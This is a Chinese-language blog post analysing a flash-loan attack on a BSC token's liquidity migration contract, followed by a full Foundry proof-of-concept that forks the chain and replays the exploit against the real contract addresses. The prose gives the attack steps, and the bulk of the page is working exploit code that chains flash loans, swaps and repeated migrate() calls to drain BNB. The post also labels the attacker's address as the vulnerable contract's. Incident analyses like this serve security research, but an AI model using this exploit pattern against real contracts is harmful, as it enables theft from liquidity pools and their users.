赞
踩
这起事件的原因被确认为在流动性迁移过程中计算token数量时出现了问题。
漏洞合约地址:0x2525c811EcF22Fc5fcdE03c67112D34E97DA6079
攻击者首先在DPP上通过闪电贷获取了1000BNB,然后以此为抵押又从Pancake V3获取了500,000个"new cell" token。
所有的"new cell" token被换成BNB,导致池子里面的BNB余额几乎为0。攻击者们继续使用900BNB购买了对应的"old cell" token。
然后攻击者为"old cell"和BNB增加了流动性,允许它们可以获得"old LP" token。
攻击者初始化了流动性迁移函数。新的池子中有着最少得BNB,但是老的池子有着"old cell" token。在迁移过程中的流动性移除导致了BNB的增加和"old cell"的减少,因为它们在旧池子中被限制使用。
变量"resoult"和"token1"增大,用户只需要少量的BNB和"new cell" token便能获得流动性。超出的BNB和"old cell" token将会被归还给用户。
流动性迁移过程被重复多次,每次循环进一步加剧池子的不平衡状态,放大了攻击者的收益。
最后攻击者从新池子中提取流动性,将返还的"old cell" token换成BNB。最终,旧池子里面有足够多的"old cell" token,但是没有BNB,攻击者成功地将"old cell" token换成金银白银的$BNB。
- // SPDX-License-Identifier: UNLICENSED
- pragma solidity ^0.8.10;
-
- import "forge-std/Test.sol";
- import "./interface.sol";
-
- // @KeyInfo - Total Lost : ~76K USD$
- // Attacker - https://bscscan.com/address/0x2525c811ecf22fc5fcde03c67112d34e97da6079
- // Attack contract - https://bscscan.com/address/0x1e2a251b29e84e1d6d762c78a9db5113f5ce7c48
- // Attack Tx : https://bscscan.com/tx/0x943c2a5f89bc0c17f3fe1520ec6215ed8c6b897ce7f22f1b207fea3f79ae09a6
- // Pre-Attack Tx: https://bscscan.com/tx/0xe2d496ccc3c5fd65a55048391662b8d40ddb5952dc26c715c702ba3929158cb9
-
- // @Analysis - https://twitter.com/numencyber/status/1664132985883615235?cxt=HHwWhoDTqceImJguAAAA
-
- interface IPancakeV3Pool {
- function flash(
- address recipient,
- uint256 amount0,
- uint256 amount1,
- bytes calldata data
- ) external;
- }
-
- interface IPancakeRouterV3 {
- struct ExactInputSingleParams {
- address tokenIn;
- address tokenOut;
- uint24 fee;
- address recipient;
- uint256 amountIn;
- uint256 amountOutMinimum;
- uint160 sqrtPriceLimitX96;
- }
-
- function exactInputSingle(
- ExactInputSingleParams memory params
- ) external payable returns (uint256 amountOut);
- }
-
- interface ILpMigration {
- function migrate(uint256 amountLP) external;
- }
-
- contract ContractTest is Test {
- IDPPOracle DPPOracle =
- IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
- IPancakeV3Pool PancakePool =
- IPancakeV3Pool(0xA2C1e0237bF4B58bC9808A579715dF57522F41b2);
- Uni_Router_V2 Router =
- Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
- Uni_Pair_V2 CELL9 = Uni_Pair_V2(0x06155034f71811fe0D6568eA8bdF6EC12d04Bed2);
- IPancakePair PancakeLP =
- IPancakePair(0x1c15f4E3fd885a34660829aE692918b4b9C1803d);
- ILpMigration LpMigration =
- ILpMigration(0xB4E47c13dB187D54839cd1E08422Af57E5348fc1);
- IPancakeRouterV3 SmartRouter =
- IPancakeRouterV3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);
- IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
- IERC20 oldCELL = IERC20(0xf3E1449DDB6b218dA2C9463D4594CEccC8934346);
- IERC20 newCELL = IERC20(0xd98438889Ae7364c7E2A3540547Fad042FB24642);
- IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
- address public constant zap = 0x5E86bD98F7BEFBF5C602EdB5608346f65D9578c3;
- CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
-
- function setUp() public {
- cheats.createSelectFork("bsc", 28708273);
- cheats.label(address(DPPOracle), "DPPOracle");
- cheats.label(address(PancakePool), "PancakePool");
- cheats.label(address(Router), "Router");
- cheats.label(address(PancakeLP), "PancakeLP");
- cheats.label(address(LpMigration), "LpMigration");
- cheats.label(address(SmartRouter), "SmartRouter");
- cheats.label(address(CELL9), "CELL9");
- cheats.label(address(WBNB), "WBNB");
- cheats.label(address(oldCELL), "oldCELL");
- cheats.label(address(newCELL), "newCELL");
- cheats.label(address(BUSD), "BUSD");
- cheats.label(zap, "Zap");
- }
-
- function testExploit() public {
- deal(address(WBNB), address(this), 0.1 ether);
- emit log_named_decimal_uint(
- "Attacker WBNB balance before attack",
- WBNB.balanceOf(address(this)),
- WBNB.decimals()
- );
-
- // Preparation. Pre-attack transaction
- WBNB.approve(address(Router), type(uint256).max);
- swapTokens(
- address(WBNB),
- address(oldCELL),
- WBNB.balanceOf(address(this))
- );
-
- oldCELL.approve(zap, type(uint256).max);
- oldCELL.approve(address(Router), type(uint256).max);
- swapTokens(
- address(oldCELL),
- address(WBNB),
- oldCELL.balanceOf(address(this)) / 2
- );
-
- Router.addLiquidity(
- address(oldCELL),
- address(WBNB),
- oldCELL.balanceOf(address(this)),
- WBNB.balanceOf(address(this)),
- 0,
- 0,
- address(this),
- block.timestamp + 100
- );
-
- // End of preparation. Attack start
- DPPOracle.flashLoan(1_000 * 1e18, 0, address(this), new bytes(1));
-
- emit log_named_decimal_uint(
- "Attacker WBNB balance after attack",
- WBNB.balanceOf(address(this)),
- WBNB.decimals()
- );
- }
-
- function DPPFlashLoanCall(
- address sender,
- uint256 baseAmount,
- uint256 quoteAmount,
- bytes calldata data
- ) external {
- PancakePool.flash(
- address(this),
- 0,
- 500_000 * 1e18,
- hex"0000000000000000000000000000000000000000000069e10de76676d0800000"
- );
- newCELL.approve(address(SmartRouter), type(uint256).max);
- smartRouterSwap();
-
- swapTokens(
- address(newCELL),
- address(WBNB),
- 94_191_714_329_478_648_796_861
- );
-
- swapTokens(
- address(newCELL),
- address(BUSD),
- newCELL.balanceOf(address(this))
- );
-
- BUSD.approve(address(Router), type(uint256).max);
- swapTokens(address(BUSD), address(WBNB), BUSD.balanceOf(address(this)));
-
- WBNB.transfer(address(DPPOracle), 1_000 * 1e18);
- }
-
- function pancakeV3FlashCallback(
- uint256 fee0,
- uint256 fee1,
- bytes calldata data
- ) external {
- newCELL.approve(address(Router), type(uint256).max);
- CELL9.approve(address(LpMigration), type(uint256).max);
-
- swapTokens(address(newCELL), address(WBNB), 500_000 * 1e18);
- // Acquiring oldCELL tokens
- swapTokens(address(WBNB), address(oldCELL), 900 * 1e18);
-
- // Liquidity amount to migrate (for one call to migrate() func)
- uint256 lpAmount = CELL9.balanceOf(address(this)) / 10;
- emit log_named_uint(
- "Amount of liquidity to migrate (for one migrate call)",
- lpAmount
- );
-
- // 8 calls to migrate were successfull. Ninth - revert in attack tx.
- for (uint256 i; i < 9; ++i) {
- LpMigration.migrate(lpAmount);
- }
-
- PancakeLP.transfer(
- address(PancakeLP),
- PancakeLP.balanceOf(address(this))
- );
- PancakeLP.burn(address(this));
-
- swapTokens(
- address(WBNB),
- address(newCELL),
- WBNB.balanceOf(address(this))
- );
- swapTokens(
- address(oldCELL),
- address(WBNB),
- oldCELL.balanceOf(address(this))
- );
-
- newCELL.transfer(address(PancakePool), 500_000 * 1e18 + fee1);
- }
-
- // Helper function for swap tokens with the use Pancake RouterV2
- function swapTokens(address from, address to, uint256 amountIn) internal {
- address[] memory path = new address[](2);
- path[0] = from;
- path[1] = to;
- Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
- amountIn,
- 0,
- path,
- address(this),
- block.timestamp + 100
- );
- }
-
- // Helper function for swap tokens with the use Pancake RouterV3
- function smartRouterSwap() internal {
- IPancakeRouterV3.ExactInputSingleParams memory params = IPancakeRouterV3
- .ExactInputSingleParams({
- tokenIn: address(newCELL),
- tokenOut: address(WBNB),
- fee: 500,
- recipient: address(this),
- amountIn: 768_165_437_250_117_135_819_067,
- amountOutMinimum: 0,
- sqrtPriceLimitX96: 0
- });
- SmartRouter.exactInputSingle(params);
- }
-
- receive() external payable {}
- }
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。